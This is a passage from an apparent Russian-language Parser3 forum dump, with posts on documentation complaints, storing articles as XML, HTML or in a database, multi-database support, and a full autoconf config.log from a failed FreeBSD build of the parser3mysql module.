И В РЕАЛЕ НОВИЧОК НИКОГДА НЕ СМОЖЕТ НИЧЕГО НАЙТИ, ПОТОМУ ЧТО ОН НЕ ЗНАЕТ, ЧТО ИСКАТЬ. НА ПАЛЬЦАХ НЕТУ ОБЬЯСНЕНИЯ, ВОТ ДЕЛАЕМ ЗАПРОС,ЧЕГО ТАМ ВЫВОДИТ - ПОФИГУ, ПО УМОЛЧАНИЮ КАК НАПИСАНО В ДОКУМЕНТАЦИИ - КОДИРОВКА UTF, СООТВЕТСТВЕННО ВЫДАСТ ЗНАКИ ВОПРОСОВ ВМЕСТО НОРМАЛЬНОГО ТЕКСТА. Я РЕАЛЬНО ПРЕДСТАВЛЯЮ,ЧТО НУЖНО,ДЛЯ ТОГО ЧТОБЫ НАЙТИ ПРИШЛОСЬ РАЗВЕРНУТЬ ВСЮ ДОКУМЕНТАЦИЮ.ЧТО ТОГДА ГОВОРИТЬ ПРО НОВИЧКА, ТАК И БУДУТ ГЛУПЫЕ ВОПРОСЫ,ПОКА НЕ ПОЯВИТЬСЯ НОРМАЛЬНАЯ ДОКУМЕНТАЦИЯ С МИНИМУМ ИНФЫ И ПО ПОРЯДКУ, БЕЗ СКАЧКОВ ПО УРОКАМ И РАЗДЕЛАМ."
"64243","Подскажите пожалуйста, как определить биты библиотеки и где ее можно найти?"
"64244","...попробовать собрать Парсер с опцией \"--with-dynamic-stdcpp\"?\
\
У меня ошибка была та же: [i]'./lib/libparser3mysql.so' can't open the module [<no type>][/i]\
\
Вот тут обсуждалось: http://www.parser.ru/forum/?id=64114"
"64245","Не ругайтесь пожалуйста за оффтопик, вопрос болезненный, давно меня мучает.\
\
Как лучше хранить статьи (с иллюстрациями, с подписями к иллюстрациям, с таблицами, возможно со встроенным видео)?\
\
Есть, я полагаю, варианты:\
1) xml. как хранить понятно, а вот как выводить так, чтобы все было по-порядку -- хз. имею ввиду параграф1, параграф2, картинка1, подпись к картинке1, параграфN, таблица1 и т.д.\
\
2) БД. тут вроде все ясно -- тупо сохраняешь html в ячейку, но это \"не спортивно\"\
\
3) ещё более \"не спортивно\" хранить каждую статью в отдельном файле. просто как вариант.\
\
Если кому-либо не затруднит подсказать наиболее лучший способ, буду премного благодарен."
"64247","От того, в каком виде изначально появляется статья, будет зависеть, какой способ удобнее для её сохранения. Например, если эта ручная html-верстка, то я бы и хранил в HTML... Будут ли статьи редактироваться?\
\
Недавно обнаружил, что на XSLT-преобразование несложной страницы (со статьёй) требуется совсем мало времени: на порядок меньше, чем для получение всего необходимого из БД. Так что теперь не боюсь использовать XML для хранения и XSL в качестве шаблона оформления."
"64248","Для определенного ряда задач мне удобнее сделать xml, хотя бы даже для того, что для БД нужен как минимум сервер этой самой БД."
"64250","Ммм... при беглом знакомстве с jedit выяснилось, что он накрывает целый ряд задач. \
\
Ну ладно."
"64251","Если из HTML убрать всякий хлам, относящийся к графическому оформлению, то получится очень даже XHTML. А с ним уже можно делать всё, что и с XML (например, XSLT и XPath).\
\
Делать верстку в XHTML сейчас умеют даже популярные WYSIWYG-редакторы."
"64252","вопрос простой (может и тупой): умеет ли Engine работать с кучей разных баз?"
"64254","они регистрируются в главной базе как источники данных?"
"64256","но вы же регистрируете, например, xml-файлы. просто на мой взгляд, база должна отражать существующую действительность - откуда берет данные приложение. прописать, например, строку соединения к базе, пометить как соотв источни и привязать, например, к новостям, которые могут браться из др. базы. приложение исходя из того, что прописано в базе, сможет работать с др. базами и при изменении не надо будет вносить изменения в обработчики. что скажете?"
"64257","Решил подойти к проблеме с другой стороны и собрать sql модуль из src. НО.. Не собирается либа из исходников. Подскажите пожалуйста, ччего ей не хватает!!!\
\
make.conf\
LDFLAGS=\"-lstdc++\"\
\
\
Собираю из исходников с parser.ru\
parser3mysql-9.5\
\
\
./configure --prefix=$HOME/parser3install --silent --with-dynamic-stdcpp\
\
-- config.log\
This file contains any messages produced by compilers while\
running configure, to aid debugging if configure makes a mistake.\
\
It was created by configure, which was\
generated by GNU Autoconf 2.59.  Invocation command line was\
\
  $ ./configure --prefix=/root/parser3install --silent --with-dynamic-stdcpp\
\
## --------- ##\
## Platform. ##\
## --------- ##\
\
hostname = kombank.ru\
uname -m = i386\
uname -r = 6.2-RELEASE\
uname -s = FreeBSD\
uname -v = FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 UTC 2007     root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC \
\
/usr/bin/uname -p = i386\
/bin/uname -X     = unknown\
\
/bin/arch              = unknown\
/usr/bin/arch -k       = unknown\
/usr/convex/getsysinfo = unknown\
hostinfo               = unknown\
/bin/machine           = unknown\
/usr/bin/oslevel       = unknown\
/bin/universe          = unknown\
\
PATH: /sbin\
PATH: /bin\
PATH: /usr/sbin\
PATH: /usr/bin\
PATH: /usr/games\
PATH: /usr/local/sbin\
PATH: /usr/local/bin\
PATH: /usr/X11R6/bin\
PATH: /root/bin\
\
\
## ----------- ##\
## Core tests. ##\
## ----------- ##\
\
configure:1524: checking for a BSD-compatible install\
configure:1579: result: /usr/bin/install -c\
configure:1590: checking whether build environment is sane\
configure:1633: result: yes\
configure:1698: checking for gawk\
configure:1727: result: no\
configure:1698: checking for mawk\
configure:1727: result: no\
configure:1698: checking for nawk\
configure:1714: found /usr/bin/nawk\
configure:1724: result: nawk\
configure:1734: checking whether make sets $(MAKE)\
configure:1754: result: yes\
configure:1939: checking for MYSQL_INC directory\
configure:1957: result: /usr/local/include/mysql\
configure:1979: checking for a BSD-compatible install\
configure:2034: result: /usr/bin/install -c\
configure:2045: checking whether make sets $(MAKE)\
configure:2065: result: yes\
configure:2078: checking for gawk\
configure:2104: result: nawk\
configure:2166: checking for g++\
configure:2182: found /usr/bin/g++\
configure:2192: result: g++\
configure:2208: checking for C++ compiler version\
configure:2211: g++ --version </dev/null >&5\
g++ (GCC) 3.4.6 [FreeBSD] 20060305\
Copyright (C) 2006 Free Software Foundation, Inc.\
This is free software; see the source for copying conditions.  There is NO\
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\
\
configure:2214: $? = 0\
configure:2216: g++ -v </dev/null >&5\
Using built-in specs.\
Configured with: FreeBSD/i386 system compiler\
Thread model: posix\
gcc version 3.4.6 [FreeBSD] 20060305\
configure:2219: $? = 0\
configure:2221: g++ -V </dev/null >&5\
g++: `-V' option must have argument\
configure:2224: $? = 1\
configure:2247: checking for C++ compiler default output file name\
configure:2250: g++    conftest.cc  >&5\
configure:2253: $? = 0\
configure:2299: result: a.out\
configure:2304: checking whether the C++ compiler works\
configure:2310: ./a.out\
configure:2313: $? = 0\
configure:2330: result: yes\
configure:2337: checking whether we are cross compiling\
configure:2339: result: no\
configure:2342: checking for suffix of executables\
configure:2344: g++ -o conftest    conftest.cc  >&5\
configure:2347: $? = 0\
configure:2372: result: \
configure:2378: checking for suffix of object files\
configure:2399: g++ -c   conftest.cc >&5\
configure:2402: $? = 0\
configure:2424: result: o\
configure:2428: checking whether we are using the GNU C++ compiler\
configure:2452: g++ -c   conftest.cc >&5\
configure:2458: $? = 0\
configure:2462: test -z \
			 || test ! -s conftest.err\
configure:2465: $? = 0\
configure:2468: test -s conftest.o\
configure:2471: $? = 0\
configure:2484: result: yes\
configure:2490: checking whether g++ accepts -g\
configure:2511: g++ -c -g  conftest.cc >&5\
configure:2517: $? = 0\
configure:2521: test -z \
			 || test ! -s conftest.err\
configure:2524: $? = 0\
configure:2527: test -s conftest.o\
configure:2530: $? = 0\
configure:2541: result: yes\
configure:2583: g++ -c -g -O2  conftest.cc >&5\
configure:2589: $? = 0\
configure:2593: test -z \
			 || test ! -s conftest.err\
configure:2596: $? = 0\
configure:2599: test -s conftest.o\
configure:2602: $? = 0\
configure:2628: g++ -c -g -O2  conftest.cc >&5\
conftest.cc: In function `int main()':\
conftest.cc:13: error: `exit' was not declared in this scope\
configure:2634: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
| \
| int\
| main ()\
| {\
| exit (42);\
|   ;\
|   return 0;\
| }\
configure:2583: g++ -c -g -O2  conftest.cc >&5\
configure:2589: $? = 0\
configure:2593: test -z \
			 || test ! -s conftest.err\
configure:2596: $? = 0\
configure:2599: test -s conftest.o\
configure:2602: $? = 0\
configure:2628: g++ -c -g -O2  conftest.cc >&5\
configure:2634: $? = 0\
configure:2638: test -z \
			 || test ! -s conftest.err\
configure:2641: $? = 0\
configure:2644: test -s conftest.o\
configure:2647: $? = 0\
configure:2681: checking for style of include used by make\
configure:2709: result: GNU\
configure:2737: checking dependency style of g++\
configure:2827: result: gcc3\
configure:2890: checking for gcc\
configure:2906: found /usr/bin/gcc\
configure:2916: result: gcc\
configure:3160: checking for C compiler version\
configure:3163: gcc --version </dev/null >&5\
gcc (GCC) 3.4.6 [FreeBSD] 20060305\
Copyright (C) 2006 Free Software Foundation, Inc.\
This is free software; see the source for copying conditions.  There is NO\
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\
\
configure:3166: $? = 0\
configure:3168: gcc -v </dev/null >&5\
Using built-in specs.\
Configured with: FreeBSD/i386 system compiler\
Thread model: posix\
gcc version 3.4.6 [FreeBSD] 20060305\
configure:3171: $? = 0\
configure:3173: gcc -V </dev/null >&5\
gcc: `-V' option must have argument\
configure:3176: $? = 1\
configure:3179: checking whether we are using the GNU C compiler\
configure:3203: gcc -c   conftest.c >&5\
configure:3209: $? = 0\
configure:3213: test -z \
			 || test ! -s conftest.err\
configure:3216: $? = 0\
configure:3219: test -s conftest.o\
configure:3222: $? = 0\
configure:3235: result: yes\
configure:3241: checking whether gcc accepts -g\
configure:3262: gcc -c -g  conftest.c >&5\
configure:3268: $? = 0\
configure:3272: test -z \
			 || test ! -s conftest.err\
configure:3275: $? = 0\
configure:3278: test -s conftest.o\
configure:3281: $? = 0\
configure:3292: result: yes\
configure:3309: checking for gcc option to accept ANSI C\
configure:3379: gcc  -c -g -O2  conftest.c >&5\
configure:3385: $? = 0\
configure:3389: test -z \
			 || test ! -s conftest.err\
configure:3392: $? = 0\
configure:3395: test -s conftest.o\
configure:3398: $? = 0\
configure:3416: result: none needed\
configure:3434: gcc -c -g -O2  conftest.c >&5\
conftest.c:2: error: syntax error before \"me\"\
configure:3440: $? = 1\
configure: failed program was:\
| #ifndef __cplusplus\
|   choke me\
| #endif\
configure:3575: checking dependency style of gcc\
configure:3665: result: gcc3\
configure:3778: checking build system type\
configure:3796: result: i386-unknown-freebsd6.2\
configure:3804: checking host system type\
configure:3818: result: i386-unknown-freebsd6.2\
configure:3848: checking for ld used by GCC\
configure:3911: result: /usr/bin/ld\
configure:3920: checking if the linker (/usr/bin/ld) is GNU ld\
GNU ld version 2.15 [FreeBSD] 2004-05-23\
configure:3932: result: yes\
configure:3937: checking for /usr/bin/ld option to reload object files\
configure:3944: result: -r\
configure:3949: checking for BSD-compatible nm\
configure:3985: result: /usr/bin/nm -B\
configure:3988: checking for a sed that does not truncate output\
configure:4070: result: /usr/bin/sed\
configure:4073: checking whether ln -s works\
configure:4077: result: yes\
configure:4084: checking how to recognise dependent libraries\
configure:4265: result: pass_all\
configure:4278: checking command to parse /usr/bin/nm -B output\
configure:4362: gcc -c -g -O2  conftest.c >&5\
configure:4365: $? = 0\
configure:4369: /usr/bin/nm -B conftest.o \\| sed -n -e 's/^.*[ 	]\\([ABCDGISTW][ABCDGISTW]*\\)[ 	][ 	]*\\(\\)\\([_A-Za-z][_A-Za-z0-9]*\\)$/\\1 \\2\\3 \\3/p' \\> conftest.nm\
configure:4372: $? = 0\
configure:4424: gcc -o conftest -g -O2   conftest.c conftstm.o >&5\
configure:4427: $? = 0\
configure:4471: result: ok\
configure:4480: checking how to run the C preprocessor\
configure:4515: gcc -E  conftest.c\
configure:4521: $? = 0\
configure:4553: gcc -E  conftest.c\
conftest.c:12:28: ac_nonexistent.h: No such file or directory\
configure:4559: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| extern \"C\" void std::exit (int) throw (); using std::exit;\
| #endif\
| /* end confdefs.h.  */\
| #include <ac_nonexistent.h>\
configure:4598: result: gcc -E\
configure:4622: gcc -E  conftest.c\
configure:4628: $? = 0\
configure:4660: gcc -E  conftest.c\
conftest.c:12:28: ac_nonexistent.h: No such file or directory\
configure:4666: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| extern \"C\" void std::exit (int) throw (); using std::exit;\
| #endif\
| /* end confdefs.h.  */\
| #include <ac_nonexistent.h>\
configure:4710: checking for egrep\
configure:4720: result: grep -E\
configure:4725: checking for ANSI C header files\
configure:4750: gcc -c -g -O2  conftest.c >&5\
configure:4756: $? = 0\
configure:4760: test -z \
			 || test ! -s conftest.err\
configure:4763: $? = 0\
configure:4766: test -s conftest.o\
configure:4769: $? = 0\
configure:4858: gcc -o conftest -g -O2   conftest.c  >&5\
configure:4861: $? = 0\
configure:4863: ./conftest\
configure:4866: $? = 0\
configure:4881: result: yes\
configure:4905: checking for sys/types.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for sys/stat.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for stdlib.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for string.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for memory.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for strings.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for inttypes.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for stdint.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4905: checking for unistd.h\
configure:4921: gcc -c -g -O2  conftest.c >&5\
configure:4927: $? = 0\
configure:4931: test -z \
			 || test ! -s conftest.err\
configure:4934: $? = 0\
configure:4937: test -s conftest.o\
configure:4940: $? = 0\
configure:4951: result: yes\
configure:4977: checking dlfcn.h usability\
configure:4989: gcc -c -g -O2  conftest.c >&5\
configure:4995: $? = 0\
configure:4999: test -z \
			 || test ! -s conftest.err\
configure:5002: $? = 0\
configure:5005: test -s conftest.o\
configure:5008: $? = 0\
configure:5018: result: yes\
configure:5022: checking dlfcn.h presence\
configure:5032: gcc -E  conftest.c\
configure:5038: $? = 0\
configure:5058: result: yes\
configure:5093: checking for dlfcn.h\
configure:5100: result: yes\
configure:5298: checking for ranlib\
configure:5314: found /usr/bin/ranlib\
configure:5325: result: ranlib\
configure:5378: checking for strip\
configure:5394: found /usr/bin/strip\
configure:5405: result: strip\
configure:5627: checking for objdir\
configure:5638: result: .libs\
configure:5659: checking for gcc option to produce PIC\
configure:5805: result: -fPIC\
configure:5809: checking if gcc PIC flag -fPIC works\
configure:5832: gcc -c -g -O2 -fPIC -DPIC  conftest.c >&5\
configure:5838: $? = 0\
configure:5842: test -z \
			 || test ! -s conftest.err\
configure:5845: $? = 0\
configure:5848: test -s conftest.o\
configure:5851: $? = 0\
configure:5889: result: yes\
configure:5909: checking if gcc static flag -static works\
configure:5933: gcc -o conftest -g -O2   -static conftest.c  >&5\
configure:5939: $? = 0\
configure:5943: test -z \
			 || test ! -s conftest.err\
configure:5946: $? = 0\
configure:5949: test -s conftest\
configure:5952: $? = 0\
configure:5969: result: yes\
configure:5985: checking if gcc supports -c -o file.o\
configure:6005: gcc -c -g -O2 -o out/conftest2.o  conftest.c >&5\
configure:6029: result: yes\
configure:6034: checking if gcc supports -c -o file.lo\
configure:6061: gcc -c -g -O2 -c -o conftest.lo  conftest.c >&5\
configure:6067: $? = 0\
configure:6071: test -z \
			 || test ! -s conftest.err\
configure:6074: $? = 0\
configure:6077: test -s conftest.lo\
configure:6080: $? = 0\
configure:6102: result: yes\
configure:6141: checking if gcc supports -fno-rtti -fno-exceptions\
configure:6163: gcc -c -g -O2 -fno-rtti -fno-exceptions -c conftest.c  conftest.c >&5\
cc1: warning: command line option \"-fno-rtti\" is valid for C++/ObjC++ but not for C\
cc1: warning: command line option \"-fno-rtti\" is valid for C++/ObjC++ but not for C\
configure:6169: $? = 0\
configure:6173: test -z \
			 || test ! -s conftest.err\
configure:6176: $? = 0\
configure:6179: test -s conftest.o\
configure:6182: $? = 0\
configure:6199: result: no\
configure:6214: checking whether the linker (/usr/bin/ld) supports shared libraries\
configure:6909: result: yes\
configure:6918: checking how to hardcode library paths into programs\
configure:6942: result: immediate\
configure:6951: checking whether stripping libraries is possible\
configure:6956: result: yes\
configure:6971: checking dynamic linker characteristics\
configure:7378: result: freebsd6.2 ld.so\
configure:7387: checking if libtool supports shared libraries\
configure:7389: result: yes\
configure:7396: checking whether to build shared libraries\
configure:7417: result: yes\
configure:7424: checking whether to build static libraries\
configure:7428: result: no\
configure:8182: checking whether -lc should be explicitly linked in\
configure:8190: gcc -c -g -O2  conftest.c >&5\
configure:8193: $? = 0\
configure:8207: gcc -shared conftest.o  -v -Wl,-soname -Wl,conftest -o conftest 2\\>\\&1 \\| grep  -lc  \\>/dev/null 2\\>\\&1\
configure:8210: $? = 1\
configure:8223: result: yes\
configure:8832: checking stdio.h usability\
configure:8844: gcc -c -g -O2  conftest.c >&5\
configure:8850: $? = 0\
configure:8854: test -z \
			 || test ! -s conftest.err\
configure:8857: $? = 0\
configure:8860: test -s conftest.o\
configure:8863: $? = 0\
configure:8873: result: yes\
configure:8877: checking stdio.h presence\
configure:8887: gcc -E  conftest.c\
configure:8893: $? = 0\
configure:8913: result: yes\
configure:8948: checking for stdio.h\
configure:8955: result: yes\
configure:8823: checking for stdlib.h\
configure:8828: result: yes\
configure:8823: checking for string.h\
configure:8828: result: yes\
configure:8832: checking setjmp.h usability\
configure:8844: gcc -c -g -O2  conftest.c >&5\
configure:8850: $? = 0\
configure:8854: test -z \
			 || test ! -s conftest.err\
configure:8857: $? = 0\
configure:8860: test -s conftest.o\
configure:8863: $? = 0\
configure:8873: result: yes\
configure:8877: checking setjmp.h presence\
configure:8887: gcc -E  conftest.c\
configure:8893: $? = 0\
configure:8913: result: yes\
configure:8948: checking for setjmp.h\
configure:8955: result: yes\
configure:8832: checking ctype.h usability\
configure:8844: gcc -c -g -O2  conftest.c >&5\
configure:8850: $? = 0\
configure:8854: test -z \
			 || test ! -s conftest.err\
configure:8857: $? = 0\
configure:8860: test -s conftest.o\
configure:8863: $? = 0\
configure:8873: result: yes\
configure:8877: checking ctype.h presence\
configure:8887: gcc -E  conftest.c\
configure:8893: $? = 0\
configure:8913: result: yes\
configure:8948: checking for ctype.h\
configure:8955: result: yes\
configure:8970: checking for size_t\
configure:8994: gcc -c -g -O2  conftest.c >&5\
configure:9000: $? = 0\
configure:9004: test -z \
			 || test ! -s conftest.err\
configure:9007: $? = 0\
configure:9010: test -s conftest.o\
configure:9013: $? = 0\
configure:9024: result: yes\
configure:9156: creating ./config.status\
\
## ---------------------- ##\
## Running config.status. ##\
## ---------------------- ##\
\
This file was extended by config.status, which was\
generated by GNU Autoconf 2.59.  Invocation command line was\
\
  CONFIG_FILES    = \
  CONFIG_HEADERS  = \
  CONFIG_LINKS    = \
  CONFIG_COMMANDS = \
  $ ./config.status --quiet\
\
on kombank.ru\
\
config.status:9917: creating Makefile\
config.status:10020: creating config_auto.h\
config.status:10162: config_auto.h is unchanged\
config.status:10344: executing depfiles commands\
configure:10511: configuring in libltdl\
configure:10628: running /bin/sh './configure' --prefix=/root/parser3install  '--prefix=/root/parser3install' '--with-dynamic-stdcpp' --enable-ltdl-convenience --cache-file=/dev/null --srcdir=.\
\
## ---------------- ##\
## Cache variables. ##\
## ---------------- ##\
\
ac_cv_build=i386-unknown-freebsd6.2\
ac_cv_build_alias=i386-unknown-freebsd6.2\
ac_cv_c_compiler_gnu=yes\
ac_cv_cxx_compiler_gnu=yes\
ac_cv_env_CC_set=''\
ac_cv_env_CC_value=''\
ac_cv_env_CFLAGS_set=''\
ac_cv_env_CFLAGS_value=''\
ac_cv_env_CPPFLAGS_set=''\
ac_cv_env_CPPFLAGS_value=''\
ac_cv_env_CPP_set=''\
ac_cv_env_CPP_value=''\
ac_cv_env_CXXFLAGS_set=''\
ac_cv_env_CXXFLAGS_value=''\
ac_cv_env_CXX_set=''\
ac_cv_env_CXX_value=''\
ac_cv_env_LDFLAGS_set=''\
ac_cv_env_LDFLAGS_value=''\
ac_cv_env_build_alias_set=''\
ac_cv_env_build_alias_value=''\
ac_cv_env_host_alias_set=''\
ac_cv_env_host_alias_value=''\
ac_cv_env_target_alias_set=''\
ac_cv_env_target_alias_value=''\
ac_cv_exeext=''\
ac_cv_header_ctype_h=yes\
ac_cv_header_dlfcn_h=yes\
ac_cv_header_inttypes_h=yes\
ac_cv_header_memory_h=yes\
ac_cv_header_setjmp_h=yes\
ac_cv_header_stdc=yes\
ac_cv_header_stdint_h=yes\
ac_cv_header_stdio_h=yes\
ac_cv_header_stdlib_h=yes\
ac_cv_header_string_h=yes\
ac_cv_header_strings_h=yes\
ac_cv_header_sys_stat_h=yes\
ac_cv_header_sys_types_h=yes\
ac_cv_header_unistd_h=yes\
ac_cv_host=i386-unknown-freebsd6.2\
ac_cv_host_alias=i386-unknown-freebsd6.2\
ac_cv_objext=o\
ac_cv_path_install='/usr/bin/install -c'\
ac_cv_prog_AWK=nawk\
ac_cv_prog_CPP='gcc -E'\
ac_cv_prog_ac_ct_CC=gcc\
ac_cv_prog_ac_ct_CXX=g++\
ac_cv_prog_ac_ct_RANLIB=ranlib\
ac_cv_prog_ac_ct_STRIP=strip\
ac_cv_prog_cc_g=yes\
ac_cv_prog_cc_stdc=''\
ac_cv_prog_cxx_g=yes\
ac_cv_prog_egrep='grep -E'\
ac_cv_prog_make_make_set=yes\
ac_cv_type_size_t=yes\
am_cv_CC_dependencies_compiler_type=gcc3\
am_cv_CXX_dependencies_compiler_type=gcc3\
lt_cv_archive_cmds_need_lc=yes\
lt_cv_compiler_c_o=yes\
lt_cv_compiler_o_lo=yes\
lt_cv_deplibs_check_method=pass_all\
lt_cv_file_magic_cmd='$MAGIC_CMD'\
lt_cv_file_magic_test_file=''\
lt_cv_global_symbol_to_c_name_address='sed -n -e '\\''s/^: \\([^ ]*\\) $/  {\\\"\\1\\\", (lt_ptr) 0},/p'\\'' -e '\\''s/^[BCDEGRST] \\([^ ]*\\) \\([^ ]*\\)$/  {\"\\2\", (lt_ptr) \\&\\2},/p'\\'''\
lt_cv_global_symbol_to_cdecl='sed -n -e '\\''s/^. .* \\(.*\\)$/extern char \\1;/p'\\'''\
lt_cv_ld_reload_flag=-r\
lt_cv_path_LD=/usr/bin/ld\
lt_cv_path_NM='/usr/bin/nm -B'\
lt_cv_path_SED=/usr/bin/sed\
lt_cv_prog_cc_can_build_shared=yes\
lt_cv_prog_cc_no_builtin=''\
lt_cv_prog_cc_pic=' -fPIC'\
lt_cv_prog_cc_pic_works=yes\
lt_cv_prog_cc_shlib=''\
lt_cv_prog_cc_static=-static\
lt_cv_prog_cc_static_works=yes\
lt_cv_prog_cc_wl=-Wl,\
lt_cv_prog_gnu_ld=yes\
lt_cv_sys_global_symbol_pipe='sed -n -e '\\''s/^.*[ 	]\\([ABCDGISTW][ABCDGISTW]*\\)[ 	][ 	]*\\(\\)\\([_A-Za-z][_A-Za-z0-9]*\\)$/\\1 \\2\\3 \\3/p'\\'''\
\
## ----------------- ##\
## Output variables. ##\
## ----------------- ##\
\
ACLOCAL='${SHELL} /root/parser/parser-3.2.1/sql/parser3mysql-9.5/missing --run aclocal-1.9'\
AMDEPBACKSLASH='\\'\
AMDEP_FALSE='#'\
AMDEP_TRUE=''\
AMTAR='${SHELL} /root/parser/parser-3.2.1/sql/parser3mysql-9.5/missing --run tar'\
AUTOCONF='${SHELL} /root/parser/parser-3.2.1/sql/parser3mysql-9.5/missing --run autoconf'\
AUTOHEADER='${SHELL} /root/parser/parser-3.2.1/sql/parser3mysql-9.5/missing --run autoheader'\
AUTOMAKE='${SHELL} /root/parser/parser-3.2.1/sql/parser3mysql-9.5/missing --run automake-1.9'\
AWK='nawk'\
CC='gcc'\
CCDEPMODE='depmode=gcc3'\
CFLAGS='-g -O2'\
CPP='gcc -E'\
CPPFLAGS=''\
CXX='g++'\
CXXDEPMODE='depmode=gcc3'\
CXXFLAGS='-g -O2'\
CYGPATH_W='echo'\
DEFS='-DHAVE_CONFIG_H'\
DEPDIR='.deps'\
ECHO='echo'\
ECHO_C=''\
ECHO_N='-n'\
ECHO_T=''\
EGREP='grep -E'\
EXEEXT=''\
INCLTDL='-I${top_srcdir}/libltdl'\
INSTALL_DATA='${INSTALL} -m 644'\
INSTALL_PROGRAM='${INSTALL}'\
INSTALL_SCRIPT='${INSTALL}'\
INSTALL_STRIP_PROGRAM='${SHELL} $(install_sh) -c -s'\
LDFLAGS=''\
LIBADD_DL=''\
LIBLTDL='${top_builddir}/libltdl/libltdlc.la'\
LIBOBJS=''\
LIBS=''\
LIBTOOL='./libtool'\
LN_S='ln -s'\
LTLIBOBJS=''\
MAKEINFO='${SHELL} /root/parser/parser-3.2.1/sql/parser3mysql-9.5/missing --run makeinfo'\
MYSQL_INC='/usr/local/include/mysql'\
OBJEXT='o'\
PACKAGE='parser3mysql'\
PACKAGE_BUGREPORT=''\
PACKAGE_NAME=''\
PACKAGE_STRING=''\
PACKAGE_TARNAME=''\
PACKAGE_VERSION=''\
PATH_SEPARATOR=':'\
RANLIB='ranlib'\
SET_MAKE=''\
SHELL='/bin/sh'\
STRIP='strip'\
VERSION='9.5'\
ac_ct_CC='gcc'\
ac_ct_CXX='g++'\
ac_ct_RANLIB='ranlib'\
ac_ct_STRIP='strip'\
am__fastdepCC_FALSE='#'\
am__fastdepCC_TRUE=''\
am__fastdepCXX_FALSE='#'\
am__fastdepCXX_TRUE=''\
am__include='include'\
am__leading_dot='.'\
am__quote=''\
am__tar='${AMTAR} chof - \"$$tardir\"'\
am__untar='${AMTAR} xf -'\
bindir='${exec_prefix}/bin'\
build='i386-unknown-freebsd6.2'\
build_alias=''\
build_cpu='i386'\
build_os='freebsd6.2'\
build_vendor='unknown'\
datadir='${prefix}/share'\
exec_prefix='${prefix}'\
host='i386-unknown-freebsd6.2'\
host_alias=''\
host_cpu='i386'\
host_os='freebsd6.2'\
host_vendor='unknown'\
includedir='${prefix}/include'\
infodir='${prefix}/info'\
install_sh='/root/parser/parser-3.2.1/sql/parser3mysql-9.5/install-sh'\
libdir='${exec_prefix}/lib'\
libexecdir='${exec_prefix}/libexec'\
localstatedir='${prefix}/var'\
mandir='${prefix}/man'\
mkdir_p='$(mkinstalldirs)'\
oldincludedir='/usr/include'\
prefix='/root/parser3install'\
program_transform_name='s,x,x,'\
sbindir='${exec_prefix}/sbin'\
sharedstatedir='${prefix}/com'\
subdirs=' libltdl'\
sysconfdir='${prefix}/etc'\
target_alias=''\
\
## ----------- ##\
## confdefs.h. ##\
## ----------- ##\
\
#define HAVE_CTYPE_H 1\
#define HAVE_DLFCN_H 1\
#define HAVE_INTTYPES_H 1\
#define HAVE_MEMORY_H 1\
#define HAVE_SETJMP_H 1\
#define HAVE_STDINT_H 1\
#define HAVE_STDIO_H 1\
#define HAVE_STDLIB_H 1\
#define HAVE_STDLIB_H 1\
#define HAVE_STRINGS_H 1\
#define HAVE_STRING_H 1\
#define HAVE_STRING_H 1\
#define HAVE_SYS_STAT_H 1\
#define HAVE_SYS_TYPES_H 1\
#define HAVE_UNISTD_H 1\
#define PACKAGE_BUGREPORT \"\"\
#define PACKAGE_NAME \"\"\
#define PACKAGE_STRING \"\"\
#define PACKAGE_TARNAME \"\"\
#define PACKAGE_VERSION \"\"\
